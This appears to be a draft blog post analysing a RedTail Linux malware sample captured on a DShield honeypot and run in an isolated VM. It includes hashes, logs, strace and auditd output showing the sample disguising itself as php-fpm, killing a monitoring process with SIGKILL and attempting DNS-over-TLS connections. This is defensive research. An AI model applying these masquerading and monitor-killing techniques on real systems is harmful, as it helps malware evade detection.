

AARON NG JI FU FINAL BLOG POST REPORT (Finalised on 02/09/2026)

I would like my final blog post to be considered for publication on the Internet Storm Center. ChatGPT was used to aid in the analysis of the Redtail Linux Payload as well as drafting this analysis report. All picture evidence in this report are user taken and none of them are generated from ChatGPT. It is taken from my DShield Honeypot, SIEM setup, and running the malware on a Linux VM I created in a controlled isolated (non-internet facing) environment. Analysis was conducted on the infected VM and research findings documented here.

Final Blog Post V2.0
Following a RedTail Linux Payload from DShield to Dynamic Analysis

During monitoring of my DShield honeypot, I observed an attacker uploading a collection of Linux executables targeting several processor architectures. The files included ARM, ARM64, i686, RISC-V and x86-64 variants named as part of a RedTail deployment package. Rather than relying only on static indicators or public threat-intelligence results, I extracted the captured payloads from Cowrie and analyzed the x86-64 variant in an isolated malware-analysis environment.

The x86-64 sample analyzed in this article has the following SHA-256 hash:

63be5f38b520b3143732962a5f8fec1f9abd1f483dbc741ed324e58f955dd35e

Jul 24, 2026 @ 01:38:15.428	130.12.180.51	a7fc773a9f1a	-	session.closed	-	-	-
Jul 24, 2026 @ 01:38:15.427	130.12.180.51	a7fc773a9f1a	-	session.file_up load	setup.sh	var/lib/cowrie/ downloads/31d4181843b1ed10a7e7cb3f108f6d6 c58a7a4452ee52ddacabe8ca77260615e	31d4181843b1ed10a7e7cb3f108f6d6c5 8a7a4452ee52ddacabe8ca77260615e
Jul 24, 2026 @ 01:38:15.427	130.12.180.51	a7fc773a9f1a	-	session.file_up load	redtail.x86_64	var/lib/cowrie/ downloads/63be5f38b520b3143732962a5f8fec1 f9abd1f483dbc741ed324e58f955dd35e	63be5f38b520b3143732962a5f8fec1f9 abd1f483dbc741ed324e58f955dd35e
Jul 24, 2026 @ 01:38:15.422	130.12.180.51	a7fc773a9f1a	-	session.file_up load	redtail.risc v	var/lib/cowrie/downloads/ e2bc7981064d3c9ed898a0f62d659fdc2fc9646de e47a9ca92b9b28b96c27a3b	e2bc7981064d3c9ed898a0f62d659fdc2 fc9646dee47a9ca92b9b28b96c27a3b
Jul 24, 2026 @ 01:38:15.418	130.12.180.51	a7fc773a9f1a	-	session.file_up load	redtail.i686	var/lib/cowrie/downloads/ b3232d2cd03b051c59aef952ecfea3358c172351a 27a989df31720395c3cbb4a	b3232d2cd03b051c59aef952ecfea3358 c172351a27a989df31720395c3cbb4a
Jul 24, 2026 @ 01:38:15.414	130.12.180.51	a7fc773a9f1a	-	session.file_up load	redtail.arm8	var/lib/cowrie/ downloads/3edfb02c0e6b2fe4894425cd0d4d250 7f7cb11e0958674422729366a0d885c7e	3edfb02c0e6b2fe4894425cd0d4d250f 7cb11e0958674422729366a0d885c7e
Jul 24, 2026 @ 01:38:15.410	130.12.180.51	a7fc773a9f1a	-	session.file_up load	redtail.arm7	var/lib/cowrie/downloads/ efa731b59f9e2f277336072fe5c72b488793c842e 2efeedf5cb571a0eeb224e2	efa731b59f9e2f277336072fe5c72b488 793c842e2efeedf5cb571a0eeb224e2
Jul 24, 2026 @ 01:38:15.407	130.12.180.51	a7fc773a9f1a	-	session.file_up load	clean.sh	var/lib/cowrie/ downloads/197c74408e15bd1168105f564f96aac e4fd4819961b724630bf5a6be4878daf8	197c74408e15bd1168105f564f96aac4 fd4819961b724630bf5a6be4878daf8
Jul 24, 2026 @ 01:38:15.406	130.12.180.51	a7fc773a9f1a	-	session.file_do wnload	-	var/lib/cowrie/ downloads/8a68d1c08ea31250063f70b1ccb5051 db1f7ab6e17d46e9dd3cc292b9849878b	8a68d1c08ea31250063f70b1ccb5051db 1f7ab6e17d46e9dd3cc292b9849878b
Jul 24, 2026 @ 01:38:15.236	130.12.180.51	a7fc773a9f1a	-	session.params	-	-	-
Jul 24, 2026 @ 01:37:27.921	130.12.180.51	a7fc773a9f1a	-	login.success	-	-	-
Jul 24, 2026 @ 01:37:27.383	130.12.180.51	a7fc773a9f1a	-	client.kex	-	-	-
Jul 24, 2026 @ 01:37:27.216	130.12.180.51	a7fc773a9f1a	SSH-2.0-Go	client.version	-	-	-
Jul 24, 2026 @ 01:37:27.216	130.12.180.51	a7fc773a9f1a	-	session.connect	-	-	-

Dynamic analysis showed that the payload did considerably more than simply execute. It changed its visible process identity, terminated other processes, killed one of the filesystem-monitoring processes used during the experiment, and created a TCP listening socket. A matched pair of pre- and post-execution memory images was also acquired from the Proxmox hypervisor to preserve the malware's runtime state independently of the infected guest.

From Cowrie Upload to Malware Sample

The original files were recovered from the Cowrie download directory on the DShield honeypot and copied into a separate folder named after the event.code on the DShield SIEM “attack-a7fc773a9f1a”. The attack delivered multiple architecture-specific versions of the same malware family together with shell scripts responsible for deployment and cleanup.

```
9% dshield@ubuntu0:~/attack-a7fc773a9f1a-analysis$ sudo file *
0% 197c74408e15bd1168105f564f96aace4fd4819961b724630bf5a6be4878daf8: Bourne-Again shell script, ASCII text executable
6% 31d4181843b1ed10a7e7cb3f108f6d6c50a7a4452ee52ddacabe8ca77260615e: Bourne-Again shell script, ASCII text executable
7% 3edfb02c0e6b2fe4894425cd0d4d2507f7cb11e0958674422729366a0d885c7e: ELF 64-bit LSB executable, ARM aarch64, version 1 (SYSV), statically linked, no section header
7% 63be5f38b520b3143732962a5f8fec1f9abd1f483dbc741ed324e58f955dd35e: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), statically linked, no section header
9% b3232d2cd03b051c59aef952ecfea3358c172351a27a989df31720395c3cbb4a: ELF 32-bit LSB executable, Intel i386, version 1 (GNU/Linux), statically linked, no section header
6% e2bc7981064d3c9ed898a0f62d659fdc2fc9646dee47a9ca92b9b28b96c27a3b: ELF 64-bit LSB executable, UCB RISC-V, RVC, double-float ABI, version 1 (SYSV), statically linked,
6% no section header
2% efa731b59f9e2f277336072fe5c72b488793c842e2efeedf5cb571a0eeb224e2: ELF 32-bit LSB executable, ARM, EABI5 version 1 (GNU/Linux), statically linked, no section header
3% dshield@ubuntu0:~/attack-a7fc773a9f1a-analysis$ sudo sha256sum *
0% 197c74408e15bd1168105f564f96aace4fd4819961b724630bf5a6be4878daf8 197c74408e15bd1168105f564f96aace4fd4819961b724630bf5a6be4878daf8
1% 31d4181843b1ed10a7e7cb3f108f6d6c50a7a4452ee52ddacabe8ca77260615e 31d4181843b1ed10a7e7cb3f108f6d6c50a7a4452ee52ddacabe8ca77260615e
7% 3edfb02c0e6b2fe4894425cd0d4d2507f7cb11e0958674422729366a0d885c7e 3edfb02c0e6b2fe4894425cd0d4d2507f7cb11e0958674422729366a0d885c7e
7% 63be5f38b520b3143732962a5f8fec1f9abd1f483dbc741ed324e58f955dd35e 63be5f38b520b3143732962a5f8fec1f9abd1f483dbc741ed324e58f955dd35e
8% b3232d2cd03b051c59aef952ecfea3358c172351a27a989df31720395c3cbb4a b3232d2cd03b051c59aef952ecfea3358c172351a27a989df31720395c3cbb4a
5% e2bc7981064d3c9ed898a0f62d659fdc2fc9646dee47a9ca92b9b28b96c27a3b e2bc7981064d3c9ed898a0f62d659fdc2fc9646dee47a9ca92b9b28b96c27a3b
5% efa731b59f9e2f277336072fe5c72b488793c842e2efeedf5cb571a0eeb224e2 efa731b59f9e2f277336072fe5c72b488793c842e2efeedf5cb571a0eeb224e2

dshield@ubuntu0:~/attack-a7fc773a9f1a-analysis$ sudo su
root@ubuntu0:~/home/dshield/attack-a7fc773a9f1a-analysis# echo "clean.sh:"
file 197c74408e15bd1168105f564f96aace4fd4819961b724630bf5a6be4878daf8

echo "setup.sh:"
file 31d4181843b1ed10a7e7cb3f108f6d6c50a7a4452ee52ddacabe8ca77260615e

echo "redtail.arm7:"
file efa731b59f9e2f277336072fe5c72b488793c842e2efeedf5cb571a0eeb224e2

echo "redtail.arm8:"
file 3edfb02c0e6b2fe4894425cd0d4d2507f7cb11e0958674422729366a0d885c7e

echo "redtail.i686:"
file b3232d2cd03b051c59aef952ecfea3358c172351a27a989df31720395c3cbb4a

echo "redtail.riscv:"
file e2bc7981064d3c9ed898a0f62d659fdc2fc9646dee47a9ca92b9b28b96c27a3b

echo "redtail.x86_64:"
file 63be5f38b520b3143732962a5f8fec1f9abd1f483dbc741ed324e58f955dd35e
clean.sh:
197c74408e15bd1168105f564f96aace4fd4819961b724630bf5a6be4878daf8: Bourne-Again shell script, ASCII text executable
setup.sh:
31d4181843b1ed10a7e7cb3f108f6d6c50a7a4452ee52ddacabe8ca77260615e: Bourne-Again shell script, ASCII text executable
redtail.arm7:
efa731b59f9e2f277336072fe5c72b488793c842e2efeedf5cb571a0eeb224e2: ELF 32-bit LSB executable, ARM, EABI5 version 1 (GNU/Linux), statically linked, no section header
redtail.arm8:
3edfb02c0e6b2fe4894425cd0d4d2507f7cb11e0958674422729366a0d885c7e: ELF 64-bit LSB executable, ARM aarch64, version 1 (SYSV), statically linked, no section header
redtail.i686:
b3232d2cd03b051c59aef952ecfea3358c172351a27a989df31720395c3cbb4a: ELF 32-bit LSB executable, Intel i386, version 1 (GNU/Linux), statically linked, no section header
redtail.riscv:
e2bc7981064d3c9ed898a0f62d659fdc2fc9646dee47a9ca92b9b28b96c27a3b: ELF 64-bit LSB executable, UCB RISC-V, RVC, double-float ABI, version 1 (SYSV), statically linked, no section header
redtail.x86_64:
63be5f38b520b3143732962a5f8fec1f9abd1f483dbc741ed324e58f955dd35e: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), statically linked, no section header
root@ubuntu0:~/home/dshield/attack-a7fc773a9f1a-analysis#
```

The recovered set included variants for:

File	SHA-256
clean.sh	197c74408e15bd1168105f564f96aace4fd4819961b724630bf5a6be4878daf8
setup.sh	31d4181843b1ed10a7e7cb3f108f6d6c50a7a4452ee52ddacabe8ca77260615e
redtail.arm7	efa731b59f9e2f277336072fe5c72b488793c842e2efeedf5cb571a0eeb224e2
redtail.arm8	3edfb02c0e6b2fe4894425cd0d4d2507f7cb11e0958674422729366a0d885c7e
redtail.i686	b3232d2cd03b051c59aef952ecfea3358c172351a27a989df31720395c3cbb4a
redtail.riscv	e2bc7981064d3c9ed898a0f62d659fdc2fc9646dee47a9ca92b9b28b96c27a3b
redtail.x86_64	63be5f38b520b3143732962a5f8fec1f9abd1f483dbc741ed324e58f955dd35e

The associated deployment script inspected the host architecture and selected the appropriate RedTail executable. Static inspection of the x86-64 binary identified it as a statically linked ELF executable. Strings extracted from the sample also contained an indication that it had been processed with the UPX executable packer.

```

victor58@victimtester1:/analysis/run-001/sample$ file redtail.x86_64
redtail.x86_64: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), statically linked, no section header
victor58@victimtester1:/analysis/run-001/sample$ readelf -h redtail.x86_64
ELF Header:
  Magic:   7f 45 4c 46 02 01 01 00 00 00 00 00 00 00 00 00
  Class:                                ELF64
  Data:                                      2's complement, little endian
  Version:                               1 (current)
  OS/ABI:                                UNIX - System V
  ABI Version:                           0
  Type:                                  EXEC (Executable file)
  Machine:                               Advanced Micro Devices X86-64
  Version:                               0x1
  Entry point address:                   0xae9cf8
  Start of program headers:              64 (bytes into file)
  Start of section headers:              0 (bytes into file)
  Flags:                                  0x0
  Size of this header:                   64 (bytes)
  Size of program headers:               56 (bytes)
  Number of program headers:              4
  Size of section headers:               64 (bytes)
  Number of section headers:              0
  Section header string table index:      0

```

```

strings: 'SAMPLE': No such file
victor58@victimtester1:/analysis/run-001/sample$ strings -a -n 6 "$SAMPLE" > /analysis/run-001/pre/redtail-x86_64-strings.txt
victor58@victimtester1:/analysis/run-001/sample$ grep -Ei 'http|https|stratum|pool|wallet|dns|socket|connect|ssh|/tmp|/dev/shm|cron|sys
> /analysis/run-001/pre/redtail-x86_64-strings.txt \
> | tee analysis/run-001/pre/redtail-x86_64-interesting-strings.txt
/dev/shm
$Info: This file is packed with the UPX executable packer http://upx.sf.net $
victor58@victimtester1:/analysis/run-001/sample$ sha256sum "$SAMPLE" | tee /analysis/run-001/pre/redtail-x86_64-final-sha256.txt

```

For the controlled experiment described here, I selected redtail.x86_64, matching the architecture of the Ubuntu analysis VM.

Isolated Analysis Environment

The malware was executed inside an Ubuntu 24.04 virtual machine hosted on Proxmox. The victim was assigned:

10.66.66.10/24

and was connected only to an isolated malware-analysis network.

An INetSim server at:

10.66.66.2

provided simulated network services. The victim had no default route to the Internet. Before execution, connectivity to INetSim was verified while attempts to reach an external address such as 8.8.8.8 returned Network is unreachable.

```

search .
victor58@victimtester1:~$ ping -c 3 8.8.8.8
ping: connect: Network is unreachable
victor58@victimtester1:~$ ping -c 3 192.168.60.1
ping: connect: Network is unreachable
victor58@victimtester1:~$ ping -c 3 192.168.40.1
ping: connect: Network is unreachable
victor58@victimtester1:~$ ping -c 3 10.66.66.2
PING 10.66.66.2 (10.66.66.2) 56(84) bytes of data.
From 10.66.66.10 icmp_seq=1 Destination Host Unreachable
From 10.66.66.10 icmp_seq=2 Destination Host Unreachable

```

```

From 10.66.66.10 icmp_seq=3 Destination Host Unreachable
--- 10.66.66.2 ping statistics ---
3 packets transmitted, 0 received, 100% packet loss, time
pipe 3
victor58@victimtester1:~$ ping -c 3 10.66.66.2
PING 10.66.66.2 (10.66.66.2) 56(84) bytes of data.
64 bytes from 10.66.66.2: icmp_seq=1 ttl=64 time=0.282 ms
64 bytes from 10.66.66.2: icmp_seq=2 ttl=64 time=0.582 ms
64 bytes from 10.66.66.2: icmp_seq=3 ttl=64 time=0.398 ms
--- 10.66.66.2 ping statistics ---
3 packets transmitted, 3 received, 0% packet loss, time 1998ms
rtt min/avg/max/mdev = 0.282/0.420/0.582/0.123 ms

```

This design allowed the malware to encounter DNS and network services without allowing it to communicate with real external infrastructure.

Several monitoring mechanisms were started before staging the sample. These included auditd syscall and filesystem rules, inotifywait filesystem monitoring, continuous process and socket sampling, journal and kernel logging, tcpdump on both the victim and INetSim systems, and strace around the actual malware execution.

In addition, guest memory was acquired from outside the infected system using QEMU's dump-guest-memory functionality on the Proxmox host.

Detonating the redtail.x86_64 Elf executable only (Setup.sh and Clean.sh were not ran)

There were three runs (Run 001.1, Run 001.2 and Run 002) of the malware detonation executed, with the VM reverted back to original pre-detonation state between RUN 001 and RUN 002. In RUN 001, the malware file was detonated twice. RUN 001 was run as user privileges but RUN 002 was run as root.

This report will focus on analyzing RUN 002 with comparisons made to RUN 001.1 and 1.2 to establish similarities and differences between the runs.

Analysing Run 002, two memory images were collected:

vm610-baseline-pre-redtail.elf

vm610-post-redtail.elf

Both images were approximately 6 GB and were independently SHA-256 verified after acquisition. The baseline image was collected after all monitoring processes had been started but before the malware was staged, making the two images suitable for later differential analysis.

```
root@hyper1-core:~# mkdir -p /mnt/evidence-usb/Run002-Memory
root@hyper1-core:~# cp \
/var/lib/vz/dump/redtail-run002/* \
/mnt/evidence-usb/Run002-Memory/
```



```
└─pve-vm--610--disk--0 50G
root@hyper1-core:~# mkdir -p /mnt/evidence-usb/Run002-Memory
root@hyper1-core:~# cp \
/var/lib/vz/dump/redtail-run002/* \
/mnt/evidence-usb/Run002-Memory/
```

```
root@hyper1-core:~#
root@hyper1-core:~# cd /mnt/evidence-usb/Run002-Memory
sha256sum -c RUN002-MEMORY-SHA256SUMS.txt
```

```
vm610-baseline-pre-redtail.elf: OK
```

```
vm610-post-redtail.elf: OK
```

```
root@hyper1-core:/mnt/evidence-usb/Run002-Memory#
```

```
root@hyper1-core:/mnt/evidence-usb/Run002-Memory# ls -lah
total 12G
drwxr-xr-x 2 root root 128K Aug 29 17:54 .
drwxr-xr-x 5 root root 128K Aug 29 17:38 ..
-rwxr-xr-x 1 root root  36 Aug 29 17:38 baseline-memory-start.txt
-rwxr-xr-x 1 root root  36 Aug 29 17:38 post-memory-start.txt
-rwxr-xr-x 1 root root 186 Aug 29 17:38 RUN002-MEMORY-SHA256SUMS.txt
-rwxr-xr-x 1 root root 6.0G Aug 29 17:45 vm610-baseline-pre-redtail.elf
-rwxr-xr-x 1 root root 129 Aug 29 17:45 vm610-baseline-pre-redtail.elf.sha256
-rwxr-xr-x 1 root root 430 Aug 29 17:45 vm610-baseline-pre-redtail.elf.stat.txt
-rwxr-xr-x 1 root root 6.0G Aug 29 17:54 vm610-post-redtail.elf
-rwxr-xr-x 1 root root 121 Aug 29 17:54 vm610-post-redtail.elf.sha256
-rwxr-xr-x 1 root root 422 Aug 29 17:54 vm610-post-redtail.elf.stat.txt
```

Controlled Execution

For the second experiment, the malware was executed directly with the argument observed during the earlier investigation:

redtail.x86_64 ssh

strace confirmed successful execution:

```
execve("/analysis/run-002/sample/redtail.x86_64",  
      ["/analysis/run-002/sample/redtail.x86_64", "ssh"],  
      ...) = 0
```

```
victor58@victimtester1:~$ sudo /analysis/toolkit/run_redtail.sh 002 001  
DETONATION_START_UTC=2026-08-29T08:52:23,354501864+00:00  
DETONATION_START_EPOCH=1787993543.355385340  
COMMAND=/analysis/run-002/sample/redtail.x86_64 ssh  
[*] Executing RedTail under strace (max 300 seconds)...  
Killed
```

This was important because it established that the subsequent behavior belonged to a successfully executing instance of the recovered Cowrie payload rather than to a failed launch or unrelated process.

Two RedTail-backed processes remained running after execution:

PID 10395

PID 10404

Both `/proc/<PID>/exe` links resolved to:

/analysis/run-002/sample/redtail.x86_64

and hashing those executable mappings produced the same SHA-256 as the original recovered sample.

Despite this, neither process presented itself as `redtail.x86_64`.

Instead, both appeared as:

php-fpm: pool www

```
10404  
victor58@victimtester1:~$ sudo ps -o pid,ppid,user,lstart,etime,stat,comm,args -p 10395,10404  
  PID  PPID USER   STARTED      ELAPSED STAT COMMAND      COMMAND  
  10395    1 root    Sat Aug 29 08:52:22 2026    05:02 Ssl  php          php-fpm: pool www  
  10404    1 root    Sat Aug 29 08:52:22 2026    05:01 Ss   php          php-fpm: pool www  
victor58@victimtester1:~$ sudo readlink -f /proc/10395/exe  
/analysis/run-002/sample/redtail.x86_64  
victor58@victimtester1:~$ sudo readlink -f /proc/10404/exe  
/analysis/run-002/sample/redtail.x86_64
```

```
victor58@victimtester1:~$ sudo sha256sum /proc/10395/exe  
63be5f38b520b3143732962a5f8fec1f9abd1f483dbc741ed324e58f955dd35e /proc/10395/exe  
victor58@victimtester1:~$ sudo sha256sum /proc/10404/exe  
63be5f38b520b3143732962a5f8fec1f9abd1f483dbc741ed324e58f955dd35e /proc/10404/exe
```

Process Masquerading

The strace output captured the mechanism RedTail used to alter its visible process name:

prctl(PR_SET_NAME, "php") = 0

The successful return value demonstrates that RedTail deliberately modified its task name.

The result was a process that appeared in ordinary process listings as a legitimate PHP-FPM worker:

php-fpm: pool www

while /proc/<PID>/exe continued to identify the executable as the original RedTail sample.

This creates a useful forensic distinction. A process listing by itself could suggest that PHP-FPM was running on the system, while examining /proc/<PID>/exe and hashing the mapped executable revealed that the apparent PHP process was actually the RedTail binary.

This behavior was also consistent with an earlier experimental run in which surviving RedTail processes presented themselves using a PostgreSQL-like process name. The repeated observation suggests that RedTail uses legitimate-looking service names to make malicious processes less conspicuous in routine process inspection.

```
victim58@victimtester1:~$ sudo /analysis/toolkit/analyze_strace.sh 002
[+] strace summaries written to /analysis/run-002/post
181 /analysis/run-002/post/strace-filesystem.txt
2 /analysis/run-002/post/strace-masquerading.txt
2 /analysis/run-002/post/strace-network.txt
2 /analysis/run-002/post/strace-processes.txt
1 /analysis/run-002/post/strace-redtail-execve.txt
5 /analysis/run-002/post/strace-signals.txt
193 total
victim58@victimtester1:~$ cat /analysis/run-002/post/strace-redtail-execve.txt
/analysis/run-002/runtime/strace-attempt001/trace.10394:1787993543.370857 execve("/analysis/run-002/sample/redtail.x86_64", ["/analysis/run-002/sample/redtail.x86_64", "ssh"], 0x7ffd0017e990 /* 16 vars */) = 0 <0.000306>
victim58@victimtester1:~$ cat /analysis/run-002/post/strace-masquerading.txt
/analysis/run-002/runtime/strace-attempt001/trace.10394:1787993543.471156 arch_prctl(ARCH_SET_FS, 0x7c0b0e2d0690) = 0 <0.000019>
/analysis/run-002/runtime/strace-attempt001/trace.10395:1787993543.519337 prctl(PR_SET_NAME, "php") = 0 <0.000020>
victim58@victimtester1:~$ cat /analysis/run-002/post/strace-signals.txt
/analysis/run-002/runtime/strace-attempt001/trace.10395:1787993543.580398 kill(1199, SIGKILL) = 0 <0.000025>
/analysis/run-002/runtime/strace-attempt001/trace.10395:1787993543.596091 kill(10382, SIGKILL) = 0 <0.000029>
/analysis/run-002/runtime/strace-attempt001/trace.10395:1787993543.596556 kill(10383, SIGKILL) = 0 <0.000074>
/analysis/run-002/runtime/strace-attempt001/trace.10395:1787993543.597663 kill(10390, SIGKILL) = 0 <0.000072>
/analysis/run-002/runtime/strace-attempt001/trace.10395:1787993543.598462 kill(10391, SIGKILL)
```

Process Termination and Monitoring Interference

One of the clearest behavioral findings from Run 002 was RedTail's use of SIGKILL.

Before execution, the automated readiness check confirmed that the filesystem-monitoring process was active: **[OK] inotify PID 1199**

```
victim58@victimtester1:~$ sudo /analysis/toolkit/verify_victim_run.sh 002
=== Run 002 readiness ===
[OK] journal PID 1197
[OK] dmesg PID 1198
[OK] inotify PID 1199
[OK] timeline PID 1200
[OK] victim tcpdump writing /analysis/run-002/network/victim-run002.pcap

--- audit rules ---
-a always,exit -F arch=b64 -S execve,execveat -F key=malware_exec
-a always,exit -F arch=b64 -S connect -F key=malware_connect
-w /tmp -p wa -k malware_tmp
-w /var/tmp -p wa -k malware_vartmp
-w /dev/shm -p wa -k malware_shm
-w /etc/systemd/system -p wa -k malware_systemd
-w /etc/cron.d -p wa -k malware_cron
-w /etc/crontab -p wa -k malware_crontab
-w /usr/local/bin -p wa -k malware_localbin

--- network isolation ---
lo UNKNOWN 127.0.0.1/8 ::1/128
enp6s18 UP 10.66.66.10/24 fe80::be24:11ff:fe85:87ec/64
10.66.66.0/24 dev enp6s18 proto kernel scope link src 10.66.66.10
```

During malware execution, strace recorded:

kill(1199, SIGKILL) = 0

The return value of zero indicates that the signal was successfully delivered.

After execution, the same readiness check reported:

[!!] inotify not running

```
victor58@victimtester1:~$ sudo /analysis/toolkit/verify_victim_run.sh 002
=== Run 002 readiness ===
[OK] journal PID 1197
[OK] dmesg PID 1198
[!!] inotify not running
[OK] timeline PID 1200
[OK] victim tcpdump writing /analysis/run-002/network/victim-run002.pcap

--- audit rules ---
-a always,exit -F arch=b64 -S execve,execveat -F key=malware_exec
-a always,exit -F arch=b64 -S connect -F key=malware_connect
-w /tmp -p wa -k malware_tmp
-w /var/tmp -p wa -k malware_vartmp
-w /dev/shm -p wa -k malware_shm
-w /etc/systemd/system -p wa -k malware_systemd
-w /etc/cron.d -p wa -k malware_cron
-w /etc/crontab -p wa -k malware_crontab
-w /usr/local/bin -p wa -k malware_localbin

--- network isolation ---
lo                UNKNOWN          127.0.0.1/8 ::1/128
enp6s18           UP                10.66.66.10/24 fe80::be24:11ff:fe85:87ec/64
10.66.66.0/24 dev enp6s18 proto kernel scope link src 10.66.66.10
```

This provides a direct evidence chain:

inotifywait running



RedTail calls kill(1199, SIGKILL)



kernel reports success



inotifywait no longer running

RedTail also issued successful SIGKILL calls against several additional PIDs during the same execution.

```
victor58@victimtester1:~$ cat /analysis/run-002/post/strace-redtail-execve.txt
/analysis/run-002/runtime/strace-attempt001/trace.10394:1787993543.370857 execve("/analysis/run-002/sample/redtail.x86_64", ["/analysis/
06_64", "ssh"], 0x7ffd8017e990 /* 16 vars */) = 0 <0.000306>
victor58@victimtester1:~$ cat /analysis/run-002/post/strace-masquerading.txt
/analysis/run-002/runtime/strace-attempt001/trace.10394:1787993543.471156 arch_prctl(ARCH_SET_FS, 0x7c0b0e2d0690) = 0 <0.000019>
/analysis/run-002/runtime/strace-attempt001/trace.10395:1787993543.519937 prctl(PR_SET_NAME, "php") = 0 <0.000020>
victor58@victimtester1:~$ cat /analysis/run-002/post/strace-signals.txt
/analysis/run-002/runtime/strace-attempt001/trace.10395:1787993543.580398 kill(1199, SIGKILL) = 0 <0.000025>
/analysis/run-002/runtime/strace-attempt001/trace.10395:1787993543.596091 kill(10382, SIGKILL) = 0 <0.000029>
/analysis/run-002/runtime/strace-attempt001/trace.10395:1787993543.596556 kill(10383, SIGKILL) = 0 <0.000074>
/analysis/run-002/runtime/strace-attempt001/trace.10395:1787993543.597663 kill(10390, SIGKILL) = 0 <0.000072>
/analysis/run-002/runtime/strace-attempt001/trace.10395:1787993543.598402 kill(10391, SIGKILL)
```

An important limitation must be stated here: Run 002 executed RedTail with **root privileges**. This gave the malware sufficient permission to terminate the root-owned monitoring process. In the earlier Run 001 experiment, a lower-privileged RedTail process attempted to terminate a root-owned monitor but received EPERM. Therefore, the successful termination observed in Run 002 demonstrates RedTail's process-killing behavior, while the ability to kill the monitoring process specifically depended on the privileges under which the sample was executed.

```
victor58@victimtester1:/analysis/run-001$ grep -H -E 'bind\|listen\|accept\|accept4\(' /analysis/run-001/runtime/strace/trace.*
victor58@victimtester1:/analysis/run-001$ grep -H -E \
> 'kill\|(147995|kill\|(147999|kill\|(148069|kill\|(148070|kill\|(1098' \
> /analysis/run-001/runtime/strace/trace.* \
> > /analysis/run-001/post/redtail-process-kills.txt
victor58@victimtester1:/analysis/run-001$ cat /analysis/run-001/post/redtail-process-kills.txt
/analysis/run-001/runtime/strace/trace.147999:1787749899.853299 kill(1098, SIGKILL) = -1 EPERM (Operation not permitted) <0.000018>
/analysis/run-001/runtime/strace/trace.147999:1787749899.862413 kill(147995, SIGKILL) = 0 <0.000025>
/analysis/run-001/runtime/strace/trace.148078:1787749914.923149 kill(1098, SIGKILL) = -1 EPERM (Operation not permitted) <0.000018>
/analysis/run-001/runtime/strace/trace.148078:1787749914.931768 kill(147999, SIGKILL) = 0 <0.000025>
/analysis/run-001/runtime/strace/trace.148078:1787749914.932966 kill(148069, SIGKILL) = 0 <0.000063>
/analysis/run-001/runtime/strace/trace.148078:1787749914.934129 kill(148070, SIGKILL)
```

Network Activity, Listener, and INetSim Observations

After execution, surviving RedTail process PID 10395 was observed listening on 0.0.0.0:39983

```
victor58@victimtester1:~$ sudo ss -ltnp
```

Netid	State	Recv-Q	Send-Q	Local Address:Port	Peer Address:Port	Process
udp	UNCONN	0	0	127.0.0.54:53	0.0.0.0:*	users:(("systemd-resolve",pid=696,fd=16))
udp	UNCONN	0	0	127.0.0.53%lo:53	0.0.0.0:*	users:(("systemd-resolve",pid=696,fd=14))
tcp	LISTEN	0	128	0.0.0.0:39983	0.0.0.0:*	users:(("php",pid=10395,fd=7))
tcp	LISTEN	0	4096	127.0.0.53%lo:53	0.0.0.0:*	users:(("systemd-resolve",pid=696,fd=15))
tcp	LISTEN	0	4096	127.0.0.54:53	0.0.0.0:*	users:(("systemd-resolve",pid=696,fd=17))

Although the process appeared as php-fpm: pool www, /proc/10395/exe resolved to the analyzed redtail.x86_64 sample. No packets involving TCP/39983 were observed in the Run 002 victim PCAP, so the purpose of the listening socket could not be determined.

```
victor58@victimtester1:~$ sudo ps -o pid,ppid,user,lstart,etime,stat,comm,args -p 10395,10404
```

PID	PPID	USER	STARTED	ELAPSED	STAT	COMMAND	COMMAND
10395	1	root	Sat Aug 29 08:52:22 2026	05:02	Ssl	php	php-fpm: pool www
10404	1	root	Sat Aug 29 08:52:22 2026	05:01	Ss	php	php-fpm: pool www

```
victor58@victimtester1:~$ sudo readlink -f /proc/10395/exe  
/analysis/run-002/sample/redtail.x86_64  
victor58@victimtester1:~$ sudo readlink -f /proc/10404/exe  
/analysis/run-002/sample/redtail.x86_64
```

```
victor58@victimtester1:/analysis/evidence-review/Run002-INetSim$ tshark \
```

- r /analysis/evidence-review/run002/run-002/network/victim-run002.pcap \
- Y 'tcp.port == 39983' \
- T fields \
- e frame.time \
- e ip.src \
- e tcp.srcport \
- e ip.dst \
- e tcp.dstport \
- e tcp.flags

```
victor58@victimtester1:/analysis/evidence-review/Run002-INetSim$ BASE=/an
```

While INetSim and packet capture initially showed no obvious RedTail outbound traffic, auditd revealed that PID 10395 attempted multiple external connect() calls on TCP port 853. Destinations included 1.1.1.1, 1.0.0.1, 8.8.8.8, 8.8.4.4, 9.9.9.9, 9.9.9.10, and several additional addresses. TCP/853 is commonly associated with DNS-over-TLS, and most of the observed destinations were public DNS resolver infrastructure.

```
type=SYSCALL msg=audit(08/29/2026 08:52:23.522:14126) : arch=x86_64 syscall=connect success=no exit=ECONNREFUSE  
D(Connection refused) a0=0x3 a1=0x7ffe2d84f220 a2=0x6e a3=0x0 items=0 ppid=1 pid=10395 auid=victor58 uid=root g  
id=root euid=root suid=root fsuid=root egid=root sgid=root tty=(none) ses=1 comm=php exe=/analysis/r  
un-002/sample/redtail.x86_64 subj=unconfined key=malware_connect  
type=SOCKADDR msg=audit(08/29/2026 08:52:23.522:14126) : saddr={ saddr_fam=local path= }  
----  
type=PROCTITLE msg=audit(08/29/2026 08:52:23.624:14139) : proctitle=php-fpm: pool www  
----  
type=SYSCALL msg=audit(08/29/2026 08:52:23.624:14139) : arch=x86_64 syscall=connect success=no exit=ENETUNREACH  
(Network is unreachable) a0=0x12 a1=0x7c0b0e13c148 a2=0x10 a3=0x0 items=0 ppid=1 pid=10395 auid=victor58 uid=r  
ot gid=root euid=root suid=root fsuid=root egid=root sgid=root fsgid=root tty=(none) ses=1 comm=php exe=/analys  
is/run-002/sample/redtail.x86_64 subj=unconfined key=malware_connect  
type=SOCKADDR msg=audit(08/29/2026 08:52:23.624:14139) : saddr={ saddr_fam=inet laddr=95.215.19.53 lport=853 }  
----  
type=PROCTITLE msg=audit(08/29/2026 08:52:23.624:14140) : proctitle=php-fpm: pool www  
----  
type=SYSCALL msg=audit(08/29/2026 08:52:23.624:14140) : arch=x86_64 syscall=connect success=no exit=ENETUNREACH  
(Network is unreachable) a0=0x13 a1=0x7c0b0e13bf58 a2=0x10 a3=0x0 items=0 ppid=1 pid=10395 auid=victor58 uid=ro  
